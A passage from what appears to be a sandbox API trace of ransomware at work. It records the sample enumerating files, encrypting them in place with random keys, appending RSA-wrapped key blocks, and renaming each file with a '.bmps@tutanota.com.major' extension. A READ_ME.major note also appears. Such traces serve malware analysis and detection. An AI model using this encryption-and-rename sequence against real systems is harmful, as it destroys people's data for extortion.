lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37db23a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xffabe9b0, ftLastWriteTime.dwHighDateTime=0x1d50248, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0132.872] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c73c0 | out: hHeap=0x570000) returned 1 [0132.872] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c70f0 [0132.872] GetLastError () returned 0x0 [0132.872] SetLastError (dwErrCode=0x0) [0132.872] GetLastError () returned 0x0 [0132.873] SetLastError (dwErrCode=0x0) [0132.873] GetLastError () returned 0x0 [0132.873] SetLastError (dwErrCode=0x0) [0132.873] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ea18 [0132.873] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bedc0 [0132.873] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bedc0 | out: hHeap=0x570000) returned 1 [0132.873] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0132.873] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x5a2ed0 [0132.873] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a2ed0 | out: hHeap=0x570000) returned 1 [0132.873] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40528 [0132.873] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40528 | out: hHeap=0x570000) returned 1 [0132.873] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0132.873] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ea18 | out: hHeap=0x570000) returned 1 [0132.873] FindNextFileW (in: hFindFile=0x5a2e90, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x1d8f, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0132.873] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c70f0 | out: hHeap=0x570000) returned 1 [0132.873] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7210 [0132.873] GetLastError () returned 0x0 [0132.873] SetLastError (dwErrCode=0x0) [0132.873] GetLastError () returned 0x0 [0132.873] SetLastError (dwErrCode=0x0) [0132.873] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0132.873] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7210 | out: hHeap=0x570000) returned 1 [0132.873] GetLastError () returned 0x0 [0132.873] SetLastError (dwErrCode=0x0) [0132.873] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0132.873] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0132.873] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bef20 [0132.873] FindNextFileW (in: hFindFile=0x5a2e90, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x121e6, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0132.873] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0132.873] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0132.873] GetLastError () returned 0x0 [0132.873] SetLastError (dwErrCode=0x0) [0132.873] GetLastError () returned 0x0 [0132.873] SetLastError (dwErrCode=0x0) [0132.873] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7960 [0132.873] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0132.873] GetLastError () returned 0x0 [0132.873] SetLastError (dwErrCode=0x0) [0132.873] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58eb30 [0132.874] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58eb30 | out: hHeap=0x570000) returned 1 [0132.874] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6570 [0132.874] FindNextFileW (in: hFindFile=0x5a2e90, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xffa7257b, ftCreationTime.dwHighDateTime=0x1d50248, ftLastAccessTime.dwLowDateTime=0xffa7257b, ftLastAccessTime.dwHighDateTime=0x1d50248, ftLastWriteTime.dwLowDateTime=0xffabe9b0, ftLastWriteTime.dwHighDateTime=0x1d50248, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0132.874] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7960 | out: hHeap=0x570000) returned 1 [0132.874] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7210 [0132.874] GetLastError () returned 0x0 [0132.874] SetLastError (dwErrCode=0x0) [0132.874] GetLastError () returned 0x0 [0132.874] SetLastError (dwErrCode=0x0) [0132.874] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6fd0 [0132.874] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7210 | out: hHeap=0x570000) returned 1 [0132.874] GetLastError () returned 0x0 [0132.874] SetLastError (dwErrCode=0x0) [0132.874] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0132.874] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0132.874] FindNextFileW (in: hFindFile=0x5a2e90, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0132.874] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6fd0 | out: hHeap=0x570000) returned 1 [0132.874] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c70f0 [0132.874] GetLastError () returned 0x0 [0132.874] SetLastError (dwErrCode=0x0) [0132.874] GetLastError () returned 0x0 [0132.874] SetLastError (dwErrCode=0x0) [0132.874] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b79e8 [0132.874] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c70f0 | out: hHeap=0x570000) returned 1 [0132.874] GetLastError () returned 0x0 [0132.874] SetLastError (dwErrCode=0x0) [0132.874] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ed60 [0132.874] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ed60 | out: hHeap=0x570000) returned 1 [0132.874] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6710 [0132.874] FindNextFileW (in: hFindFile=0x5a2e90, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0132.874] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b69e8 [0132.874] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0132.874] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0132.874] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\1025\\SetupResources.dll", dwFileAttributes=0x80) returned 1 [0132.875] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6980 [0132.875] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x57e1d0 [0132.875] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6980 | out: hHeap=0x570000) returned 1 [0132.875] CreateFileW (lpFileName="\\588bce7c90097ed212\\1025\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1025\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x484 [0132.875] GetFileSizeEx (in: hFile=0x484, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=17240) returned 1 [0132.875] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4358) returned 0x5dc858 [0132.875] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4358) returned 0x5e0bb8 [0132.875] ReadFile (in: hFile=0x484, lpBuffer=0x5dc858, nNumberOfBytesToRead=0x4358, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5dc858*, lpNumberOfBytesRead=0x2e3f9b4*=0x4358, lpOverlapped=0x0) returned 1 [0132.930] SetFilePointer (in: hFile=0x484, lDistanceToMove=-17240, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0132.931] WriteFile (in: hFile=0x484, lpBuffer=0x5e0bb8*, nNumberOfBytesToWrite=0x4358, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5e0bb8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x4358, lpOverlapped=0x0) returned 1 [0132.931] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5dc858 | out: hHeap=0x570000) returned 1 [0132.931] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5e0bb8 | out: hHeap=0x570000) returned 1 [0132.931] SetFilePointer (in: hFile=0x484, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x4358 [0132.931] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0132.931] WriteFile (in: hFile=0x484, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0132.931] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0132.931] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0132.931] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0132.931] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0132.931] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="nbBEf6G74fRHLfcg6E3Vcq7g2aPkqw9+l305Z6CFSsZRbw642umxe0wfptEJQoLP\n1Ks39vyWmSwHNtO6sEniEfYplezqEboCaYk5iiN+aTw1sWMzuu+7j9Fdg9OYlt7W\nSb4o3OJvj8ZH4MmH48pCh46H1SgrSJrDFCnU6XaulbuNzUZyooiITxAA+TVunxb1\nl8Y2L/nrIeMhPkjiemycBHe3BxrzKrBAVKlgkxtbrk76pN4sbOG680Lx3tr9WqDU\nYeY2eAnfpuevoMCQxmkD7/sYhQPWVBdzCoaTv4ikfbpAih4fXAJzQrOtGoilCB6e\njvm0irKpghmFH6RiltP9KA==\n", pcchString=0x2e3f9a8) returned 1 [0132.931] WriteFile (in: hFile=0x484, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0132.931] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0132.931] WriteFile (in: hFile=0x484, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0132.931] CloseHandle (hObject=0x484) returned 1 [0132.932] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0132.932] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\1025\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1025\\setupresources.dll"), lpNewFileName="\\588bce7c90097ed212\\1025\\SetupResources.dll.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\588bce7c90097ed212\\1025\\setupresources.dll.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0132.934] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0132.934] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0132.934] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b69e8 | out: hHeap=0x570000) returned 1 [0132.934] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6710 | out: hHeap=0x570000) returned 1 [0132.934] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6640 [0132.934] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0132.934] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0132.934] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\1025\\LocalizedData.xml", dwFileAttributes=0x80) returned 1 [0132.934] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b66a8 [0132.934] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x57e1d0 [0132.934] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b66a8 | out: hHeap=0x570000) returned 1 [0132.934] CreateFileW (lpFileName="\\588bce7c90097ed212\\1025\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x484 [0132.934] GetFileSizeEx (in: hFile=0x484, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=74214) returned 1 [0132.934] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x121e6) returned 0x5dc858 [0132.934] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x121e6) returned 0x5eea48 [0132.934] ReadFile (in: hFile=0x484, lpBuffer=0x5dc858, nNumberOfBytesToRead=0x121e6, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5dc858*, lpNumberOfBytesRead=0x2e3f9b4*=0x121e6, lpOverlapped=0x0) returned 1 [0133.075] SetFilePointer (in: hFile=0x484, lDistanceToMove=-74214, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0133.075] WriteFile (in: hFile=0x484, lpBuffer=0x5eea48*, nNumberOfBytesToWrite=0x121e6, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5eea48*, lpNumberOfBytesWritten=0x2e3f9b4*=0x121e6, lpOverlapped=0x0) returned 1 [0133.075] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5dc858 | out: hHeap=0x570000) returned 1 [0133.075] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5eea48 | out: hHeap=0x570000) returned 1 [0133.076] SetFilePointer (in: hFile=0x484, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x121e6 [0133.076] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0133.076] WriteFile (in: hFile=0x484, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0133.076] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0133.076] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0133.077] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0133.077] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0133.077] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="6cODy5gc+52c0ekRgGDPDUSiU+72cKdUaOWwno8FyxRQCebY704Xn1ucT2g4UZVV\n6oSo5NmBf7OgQ6juaqttsbcyukZesoKXjzJF4L6DSfY2GOUgHgcyqmGoQtMJ5ttq\n98ftPN8oYD4apOa9C3fYtwffVPBKKVoNKHT8A/1Gv36obFfkNAcu38cNZd9lzNSS\n1qmU22uGfJ1RSL9KUuiBteJjP7UkWCKGyDmJjqf/QGKKDtFuLCZlVHxq+z3lIgRI\njPJPX3JhsGBAvP81ogiOEOSazalnJEp5Yo4Ob16DRC26Y6Sb0lcpujDuDseTw076\neU1pF3L8WfCfnErfvndknA==\n", pcchString=0x2e3f9a8) returned 1 [0133.077] WriteFile (in: hFile=0x484, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0133.078] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0133.078] WriteFile (in: hFile=0x484, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0133.078] CloseHandle (hObject=0x484) returned 1 [0133.079] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0133.080] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\1025\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml"), lpNewFileName="\\588bce7c90097ed212\\1025\\LocalizedData.xml.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0133.081] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0133.081] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0133.081] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6640 | out: hHeap=0x570000) returned 1 [0133.081] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6570 | out: hHeap=0x570000) returned 1 [0133.081] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bed68 [0133.081] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0133.081] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0133.081] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\1025\\eula.rtf", dwFileAttributes=0x80) returned 1 [0133.082] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5befd0 [0133.082] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5a10c8 [0133.082] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0133.082] CreateFileW (lpFileName="\\588bce7c90097ed212\\1025\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x484 [0133.082] GetFileSizeEx (in: hFile=0x484, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=7567) returned 1 [0133.082] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1d8f) returned 0x5dc858 [0133.082] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1d8f) returned 0x5de5f0 [0133.082] ReadFile (in: hFile=0x484, lpBuffer=0x5dc858, nNumberOfBytesToRead=0x1d8f, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5dc858*, lpNumberOfBytesRead=0x2e3f9b4*=0x1d8f, lpOverlapped=0x0) returned 1 [0133.117] SetFilePointer (in: hFile=0x484, lDistanceToMove=-7567, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0133.117] WriteFile (in: hFile=0x484, lpBuffer=0x5de5f0*, nNumberOfBytesToWrite=0x1d8f, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5de5f0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1d8f, lpOverlapped=0x0) returned 1 [0133.117] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5dc858 | out: hHeap=0x570000) returned 1 [0133.117] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5de5f0 | out: hHeap=0x570000) returned 1 [0133.117] SetFilePointer (in: hFile=0x484, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1d8f [0133.117] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0133.117] WriteFile (in: hFile=0x484, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0133.117] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0133.117] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0133.117] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0133.117] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0133.118] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="2LCnDs86ZJl0zOpvTiQtH4dzAPZfDgpKv44rFcV27pWxEjkwHQsF+C6QGWn4pvom\nGEKm+K1Wyc0cpb8nO9ISlJ52Wr563agUW2xKTryrIhmEkLOdVeXuSCdgfkxr4fcn\ni0KXBYGhXUHvxA/KXbrviJ0b0u4hIsTALDjoB6420PTJu2FGMUErq4G550WlEdRX\nzz4aEfuYTxhxejq1gmIGGSM7QrPRioG8Lca1xgmqwg/Xjrde7dfxRZof+4iDb3Rn\nDiTTiaIEFev0zoWvBzFnhpQz2RoZpkQwF6GwpyWzui0di7rLztj47NgSDrahGolu\nxy2foc+wTdF2mvQqoeJKfA==\n", pcchString=0x2e3f9a8) returned 1 [0133.118] WriteFile (in: hFile=0x484, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0133.118] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0133.118] WriteFile (in: hFile=0x484, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0133.118] CloseHandle (hObject=0x484) returned 1 [0133.118] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0133.118] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\1025\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf"), lpNewFileName="\\588bce7c90097ed212\\1025\\eula.rtf.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0133.120] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a10c8 | out: hHeap=0x570000) returned 1 [0133.120] HeapFree (in: hHeap=0x570000, 